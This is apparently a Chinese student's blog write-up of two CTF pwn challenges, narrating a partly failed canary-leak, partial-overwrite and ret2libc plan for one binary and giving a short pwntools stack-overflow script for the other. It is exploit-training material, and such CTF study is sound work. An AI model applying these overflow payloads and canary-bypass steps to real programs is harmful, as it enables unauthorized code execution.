一.bugku_pwn_read_note#

被逗笑了，本来稍微搜集一下信息，感觉像是地址变化的ret2libc，但是真就像评论区里面一样，输入一下数据就出来flag了。没招了，这个环境有点逆天。

先不管环境了，直接研究文件吧。

根据这个长度的栈来看，应该不需要迁栈。

思路应该还是通过rop链泄露libc的地址，然后通过libc里面的函数获取shell，看程序内部符号和字符串，确实也没有找到其他思路。

本来还想自己尝试一下的结果发现，这个本地的动态调试实在难以操作，一直段错误。

yes！！本来想放弃的来着，不过再又一次尝试的情况下成功了，这下也是有收获了。

因为存在canary所以要想办法绕过一下canary，这边也是完成第一步泄露canary的值了。

这两张截图主要是表示我学到了一个新的点，因为pie开启后，地址是变化的，而偏移不变，通过看了一下wp的写法，我发现了，我们还得算实际pop rdi，ret和ret这两个指令的地址，不是直接通过之前gadget直接搜索到就行的。

0x250+0x8可以找存放main函数实际地址的地方。

回到函数，重新跑获得main函数的地址老是出问题，有点搞。

有点小列，第二次攻击泄露老是回不去，现在还没金币了。

展示一下目前成果吧，后面的得明天了。

研究wp，研究得头要秃了。

首先我们对反汇编源码进行再次解读。

这个 read(0, thinking_note, (unsigned int)note_len);

我一开始没有理解好，这个的意思是从thinking_note里面按键盘输入的读取后面note_len字节是数据，而并不是直接把note_len的数据读到里面，源码归档了如果我们一开始写入的note_len长度为624，就会要求我们再次写入数据到thinking_note，这便是我们利用栈溢出回到主函数再次攻击的由来。

payload2=b'a'*offset1+p64(leaked_canary)+p64(1)+b'\x20'

这边利用填充字节配合canary，保证程序不因为check_canary_fail而退出。

根据这边对栈的研究可以看清，从我们的think_note到rbp这边正好0x260字节为608，所以600加上8字节的canary刚刚好覆盖完，

我去我悟了，违背了一下祖宗的约定，在联合学长和ai的辅助下。

为什么加p64(1)是为了覆盖rbp也就是saved_register的地址，不然我怎么到后面的返回地址，因为这个main函数的地址最后三位为D20，

我们加上b’\x20’，这个实际上是为了将返回地址的后面两位修改为0x20，这个stack是在main函数调用出现的，所以最后的返回地址一定是在main函数的附近，之只要覆盖了后面两位，就可以保证最后的返回地址一定就是main函数的入口地址。

然后呢，其实也没然后了，因为大概率这题会跟我之前一道本地通了远程不通的题目一样，没有后续。

没招了，我对着两份wp，边研究边写，然后payload打不通。

目前思路就是三次泄露，第一次canary，第二次main，第三次libc，依次泄露后，使用ret2libc完成调用libc中的参数/bin/sh和函数system，获得shell。

我自己手搓的第一次泄露是正确的，但关键就在后面，我不知道是我的再次输入有问题，还是环境问题，第二次泄露时，原本用来读取数据作用写入数据长度的scanf函数除了问题，使用attach.gdb()调试依旧无法看懂为什么第二次泄露到了scanf这边就卡住了，据ai所说，是因为第一次泄露时，scanf的栈被我破坏了，然后导致第二次的scanf无法运行。

ai建议我第一次泄露时就直接泄露出main函数地址和saved_registers的地址，然后完美的完成stack的布局，但我想，我是没招了，之后有机会问问厉害的学长吧，我真觉得ai说的这个方法有点高级了，不适合我。

二.[HNCTF 2022 Week1]easyoverflow.pwn.nssctf#

直接改值就行了。

1
from pwn import *
2

3
def attack1(url, port):
4
    p = remote(url, port)
5
    payload = b'a'*(0x30+8) + p64(0x1)
6
    p.sendline(payload)
7
    p.interactive()
8

9
if __name__ == '__main__':
10
    url = 'node5.anna.nssctf.cn'
11
    port = 26948
12
    attack1(url, port)

还有个做法直接覆盖返回地址为system也行。

2026.03.17&&2026.03.18&&2026.03.19

• 版权声明：本文由 余林阳 创作，转载请注明出处。